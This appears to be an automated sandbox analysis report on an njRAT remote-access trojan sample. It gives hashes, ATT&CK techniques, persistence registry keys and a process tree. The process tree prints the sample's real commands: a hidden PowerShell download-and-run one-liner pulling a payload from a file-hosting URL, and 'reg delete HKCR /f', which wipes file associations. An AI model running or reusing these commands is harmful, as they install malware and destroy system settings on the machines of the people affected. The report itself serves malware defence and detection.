njrat | 2833c8b46a6796e8ae9d03fc72db4072683dffcc7729efaa02082cbb04bf2a7b

Analysis

user interaction
yes
max time kernel
122s
max time network
142s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/09/2026, 17:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Payload.exe
Size 54KB
Sample260923-v8b7rage48
SHA256 2833c8b46a6796e8ae9d03fc72db4072683dffcc7729efaa02082cbb04bf2a7b
MD5 be97ca811fdc5d470d1d2480ce11c40c
SHA1 c9fa839b0f92b1d02c0183a1afe1a2d5be1f9470
SHA512 a2bc688b21f3ba21dfd9e917e9178b8db583ac0f5f1a6a3e000ed6fce915cfd5d145c40902fa51bd3460e7386768688f55d32deb3912213e5d054194babdc725
SSDEEP 1536:kroADn8fLNG/SbrKCDcwsNMDHXExI3pmXm:1ADncsqbeCDcwsNMDHXExI3pm
TLSH
T1E5433941BFEA5A01E2BD8F3468F655150630BA63E932DB1E4CD6A8EB13327C58C40FD6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution njrat persistence privilege_escalation trojan

Malware Config

Signatures

Family: njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
10	2028	powershell.exe
11	4800	powershell.exe
12	5616	powershell.exe
13	5616	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2028	powershell.exe
4800	powershell.exe
5616	powershell.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\972d62ad76b1455b2f878c9c6c421147.exe	Payload.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\972d62ad76b1455b2f878c9c6c421147.exe	Payload.exe

Executes dropped EXE 3 IoCs

pid	Process
2080	13a32d5251dd4c43bd52f3e5cf5ed025.exe
1600	b157f73727814d549501d2449edb648d.exe
4836	9c28be319a434d78904c3cc61bcc34d9.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\972d62ad76b1455b2f878c9c6c421147 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Payload.exe\" .."	Payload.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\972d62ad76b1455b2f878c9c6c421147 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Payload.exe\" .."	Payload.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5744	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Payload.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Payload.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.drv	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.eip	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.hxx\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.mpv2\OpenWithProgIds	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.ost	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\OpenWithList	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.s3m	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.diagcab	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.ibq	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.movie\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.mp4v\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdb	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.wax\OpenWithProgIds	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.ppsm	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.viw	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.xhtml\OpenWithProgIds	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.AAC	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.dot\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.iiq\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.library-ms	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.rw2	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.stm\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.aspx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.ifo	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.MOD\OpenWithProgIds	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.mpg\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.wmv\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.cr3\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.dct\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.gz	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.TS\ShellEx\{BB2E617C-0920-11D1-9A0B-00C04FC2D6C1}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.dcs\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.htt\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.M2T\ShellEx\{BB2E617C-0920-11D1-9A0B-00C04FC2D6C1}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.partial	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pma\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.xlsx\ShellEx\{BB2E617C-0920-11d1-9A0B-00C04FC2D6C1}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.hxd\OpenWithProgIDs	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.jpe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.odp	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.symlink\shellex\ContextMenuHandlers	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.thmx\ShellEx\{BB2E617C-0920-11d1-9A0B-00C04FC2D6C1}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.WMS\OpenWithProgIds	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.bkf	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.cr2\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.flac\OpenWithProgIds	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.jxr\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pxn\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.asmx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pnf	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.rec	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.wmv\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.xaml	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.xesc	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.xll	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.3gp\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.cat	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.fdf\AcroExch.FDFDoc\ShellNew	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.msepub	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.onepkg	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pch\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.rle	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.sr2	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.mpga	reg.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2028	powershell.exe
2028	powershell.exe
2028	powershell.exe
4800	powershell.exe
4800	powershell.exe
4800	powershell.exe
5616	powershell.exe
5616	powershell.exe
5616	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

pid	Process
2080	13a32d5251dd4c43bd52f3e5cf5ed025.exe
1600	b157f73727814d549501d2449edb648d.exe
4836	9c28be319a434d78904c3cc61bcc34d9.exe

Suspicious use of AdjustPrivilegeToken 40 IoCs

description	pid	Process
Token: SeDebugPrivilege	4140	Payload.exe
Token: 33	4140	Payload.exe
Token: SeIncBasePriorityPrivilege	4140	Payload.exe
Token: 33	4140	Payload.exe
Token: SeIncBasePriorityPrivilege	4140	Payload.exe
Token: 33	4140	Payload.exe
Token: SeIncBasePriorityPrivilege	4140	Payload.exe
Token: 33	4140	Payload.exe
Token: SeIncBasePriorityPrivilege	4140	Payload.exe
Token: 33	4140	Payload.exe
Token: SeIncBasePriorityPrivilege	4140	Payload.exe
Token: 33	4140	Payload.exe
Token: SeIncBasePriorityPrivilege	4140	Payload.exe
Token: 33	4140	Payload.exe
Token: SeIncBasePriorityPrivilege	4140	Payload.exe
Token: 33	4140	Payload.exe
Token: SeIncBasePriorityPrivilege	4140	Payload.exe
Token: SeDebugPrivilege	2080	13a32d5251dd4c43bd52f3e5cf5ed025.exe
Token: SeDebugPrivilege	2080	13a32d5251dd4c43bd52f3e5cf5ed025.exe
Token: SeDebugPrivilege	1600	b157f73727814d549501d2449edb648d.exe
Token: SeDebugPrivilege	1600	b157f73727814d549501d2449edb648d.exe
Token: 33	4140	Payload.exe
Token: SeIncBasePriorityPrivilege	4140	Payload.exe
Token: SeDebugPrivilege	4836	9c28be319a434d78904c3cc61bcc34d9.exe
Token: SeDebugPrivilege	4836	9c28be319a434d78904c3cc61bcc34d9.exe
Token: 33	4140	Payload.exe
Token: SeIncBasePriorityPrivilege	4140	Payload.exe
Token: 33	464	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	464	AUDIODG.EXE
Token: SeDebugPrivilege	2028	powershell.exe
Token: 33	4140	Payload.exe
Token: SeIncBasePriorityPrivilege	4140	Payload.exe
Token: SeDebugPrivilege	4800	powershell.exe
Token: SeDebugPrivilege	5616	powershell.exe
Token: 33	4140	Payload.exe
Token: SeIncBasePriorityPrivilege	4140	Payload.exe
Token: 33	4140	Payload.exe
Token: SeIncBasePriorityPrivilege	4140	Payload.exe
Token: 33	4140	Payload.exe
Token: SeIncBasePriorityPrivilege	4140	Payload.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4140 wrote to memory of 2080	4140	Payload.exe	92
PID 4140 wrote to memory of 1600	4140	Payload.exe	93
PID 4140 wrote to memory of 4836	4140	Payload.exe	94
PID 2080 wrote to memory of 2028	2080	13a32d5251dd4c43bd52f3e5cf5ed025.exe	96
PID 1600 wrote to memory of 4800	1600	b157f73727814d549501d2449edb648d.exe	98
PID 4836 wrote to memory of 5616	4836	9c28be319a434d78904c3cc61bcc34d9.exe	100
PID 2080 wrote to memory of 5744	2080	13a32d5251dd4c43bd52f3e5cf5ed025.exe	102
PID 5744 wrote to memory of 996	5744	cmd.exe	104

C:\Users\Admin\AppData\Local\Temp\Payload.exe
"C:\Users\Admin\AppData\Local\Temp\Payload.exe"
1⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4140
- C:\Users\Admin\AppData\Local\Temp\13a32d5251dd4c43bd52f3e5cf5ed025.exe
  "C:\Users\Admin\AppData\Local\Temp\13a32d5251dd4c43bd52f3e5cf5ed025.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2028
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /k reg delete HKCR /f
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5744
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      Modifies registry class
      PID:996
- C:\Users\Admin\AppData\Local\Temp\b157f73727814d549501d2449edb648d.exe
  "C:\Users\Admin\AppData\Local\Temp\b157f73727814d549501d2449edb648d.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4800
- C:\Users\Admin\AppData\Local\Temp\9c28be319a434d78904c3cc61bcc34d9.exe
  "C:\Users\Admin\AppData\Local\Temp\9c28be319a434d78904c3cc61bcc34d9.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5616

C:\Users\Admin\AppData\Local\Temp\Payload.exe
"C:\Users\Admin\AppData\Local\Temp\Payload.exe" ..
1⤵
- System Location Discovery: System Language Discovery
PID:4752

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004D0 0x00000000000004DC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:464

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 41c59a73d29fe9a72437c323e3c89bda71c6987848a20016af52c6e2a57b4ba8
MD5 8e8def21d8a45f4186ed39e4cd51780b
SHA1 478eecc4a4839a61f49d36aaac489fb03a902a76
SHA512 78953e7a08cc12b6323f9d053fa308b74c8497d1f747494a492d705ea4091895f77b9c4589766a1aa4ba39e7879c8b70bf4d95904d48282054237363dacd5418
TLSH
T14E218933B3DC8614CC8A403A10CEAC1036B6C7DB809ECFABBB84D544B42F299DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

13a32d5251dd4c43bd52f3e5cf5ed025.exe

Path C:\Users\Admin\AppData\Local\Temp\13a32d5251dd4c43bd52f3e5cf5ed025.exe
Size 37KB
SHA256 f3b3c7e502ab5c7548d6ec8731aab47d6e5692f07e530f2a28f55d1943e24ef8
MD5 9b7f9b02d6b7f80cbe57a4b435153077
SHA1 6dfb7ead33b342b41b4de50882e6799a7024e766
SHA512 a783888a271b90d8112ff1d5639ac9320a25a6176d8a15db0a0f9c9b8bd31f1136574a4ef63bd6a6744906fbf94eb17a4743f32bace6a9af9e6af564f9ef7073
SSDEEP 384:zrZIpr+e4InK2rNfxSgRWVu9nUhcnb+3S/O2w49t0REzi9ZwtHkR69aQKNgZIAtY:zrZsKrIK2RxSgRAuaYb1PjnZ97+FTkI
TLSH
T139030BC9BF898433C39D6ABD18A392524730E5678503E78E19CCA5F12AD33964E9D3C7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5780d5b1-3574-48ab-8772-ebac00a521e6.wav

Path C:\Users\Admin\AppData\Local\Temp\5780d5b1-3574-48ab-8772-ebac00a521e6.wav
Size 234KB
SHA256 77cd375b8dac6d51045c30acd11bc33a843691c09b063e2faaf24ae846a312a1
MD5 0f93d2ad3f57631ecdbf40df56bbda67
SHA1 fdbd6290804f8625f32758633c6a7637221f1972
SHA512 fc51fda526528e6407565ec4747ad066ce921a469daec3fd423b27d3ce691e2d3626111a1c28137f2ffddd5c07314fd18c1e1d1e92081f6bd061d51046069f51
SSDEEP 768:ynnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnm:f
TLSH
T130340A47D908FEDFC8E77AFA8A91B8DD0C091B92D673118A79F34A97D4736042612E34
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_ieybedvl.4tc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ieybedvl.4tc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2028-51-0x0000029DA0010000-0x0000029DA0032000-memory.dmp

Download

memory/2080-47-0x00007FFF31A00000-0x00007FFF323A4000-memory.dmp

Download

memory/2080-24-0x00007FFF31A00000-0x00007FFF323A4000-memory.dmp

Download

memory/2080-46-0x00007FFF31A00000-0x00007FFF323A4000-memory.dmp

Download

memory/2080-18-0x00000000003B0000-0x00000000003C0000-memory.dmp

Download

memory/2080-19-0x00007FFF31B8F000-0x00007FFF31B90000-memory.dmp

Download

memory/2080-20-0x00007FFF31A00000-0x00007FFF323A4000-memory.dmp

Download

memory/2080-21-0x00007FFF31A00000-0x00007FFF323A4000-memory.dmp

Download

memory/2080-22-0x00007FFF31A00000-0x00007FFF323A4000-memory.dmp

Download

memory/2080-23-0x00007FFF31A00000-0x00007FFF323A4000-memory.dmp

Download

memory/2080-45-0x00007FFF31A00000-0x00007FFF323A4000-memory.dmp

Download

memory/4140-7-0x0000000074700000-0x0000000074D21000-memory.dmp

Download

memory/4140-6-0x0000000074700000-0x0000000074D21000-memory.dmp

Download

memory/4140-0-0x0000000000FF0000-0x0000000001000000-memory.dmp

Download

memory/4140-4-0x0000000074702000-0x0000000074704000-memory.dmp

Download

memory/4140-3-0x0000000000FF0000-0x0000000001000000-memory.dmp

Download

memory/4140-1-0x0000000074702000-0x0000000074704000-memory.dmp

Download

memory/4752-5-0x0000000074700000-0x0000000074D21000-memory.dmp

Download

memory/4752-2-0x0000000074700000-0x0000000074D21000-memory.dmp

Download